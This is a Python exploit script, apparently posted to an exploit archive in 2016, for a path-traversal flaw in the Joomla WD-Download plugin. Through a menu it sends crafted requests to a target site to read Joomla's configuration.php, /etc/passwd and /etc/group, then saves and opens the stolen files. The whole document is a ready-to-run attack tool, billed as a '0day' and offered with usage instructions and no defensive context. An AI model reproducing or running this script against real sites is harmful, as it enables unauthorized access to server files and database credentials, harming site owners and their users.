Joomla WD-Download Local File Download - Exploit
import sys
import urllib2
import webbrowser
import os
def CLEAN():
if os.name == "nt":
os.system('cls')
else:
os.system('clear')
CLEAN()
print """
__ __ ___ ___ _ _
/ / /\ \ \/ \ / \_____ ___ __ | | ___ __ _ __| |
\ \/ \/ / /\ /____ / /\ / _ \ \ /\ / / '_ \| |/ _ \ / _` |/ _` |
\ /\ / /_//_____/ /_// (_) \ V V /| | | | | (_) | (_| | (_| |
\/ \/___,' /___,' \___/ \_/\_/ |_| |_|_|\___/ \__,_|\__,_|
Joomla WD-download Plugin 0day Exploit
Greetz to my Brothers : knockoutr & Ne0 h4ck3r
Milw00rm Team
"""
if len(sys.argv) == 1:
print ""
print "How To Use: python wjoom.py site.com"
print ""
sys.exit(1)
s = sys.argv[1]
def exploit():
try:
print "[1] For configuration file "
print "[2] For /etc/passwd file"
print "[3] For /etc/group file"
print ""
conn = raw_input("root@senhaxor[~] Enter your choice : ")
if conn == "1":
url = "http://"+s+"/plugins/content/wd/wddownload.php?download=wddownload.php&file=../../../configuration.php"
test = urllib2.Request(url)
data = urllib2.urlopen(test).read()
print data
elif conn == "2":
urlE = "http://"+s+"/plugins/content/wd/wddownload.php?download=wddownload.php&file=../../../../../../../../../etc/passwd"
testE = urllib2.Request(urlE)
dataE = urllib2.urlopen(testE).read()
with open("passwd.txt", 'a') as sen:
sen.write(dataE+"\n")
webbrowser.open("passwd.txt")
elif conn == "3":
urlG = "http://"+s+"/plugins/content/wd/wddownload.php?download=wddownload.php&file=../../../../../../../../../etc/group"
testG = urllib2.Request(urlG)
dataG = urllib2.urlopen(testG).read()
with open("group.txt", 'a') as sen:
sen.write(dataG+"\n")
webbrowser.open("group.txt")
except Exception as e:
print "Unexpected error : %s " % e
if __name__ == '__main__':
exploit()
# milw00rm.com [2016-01-15]
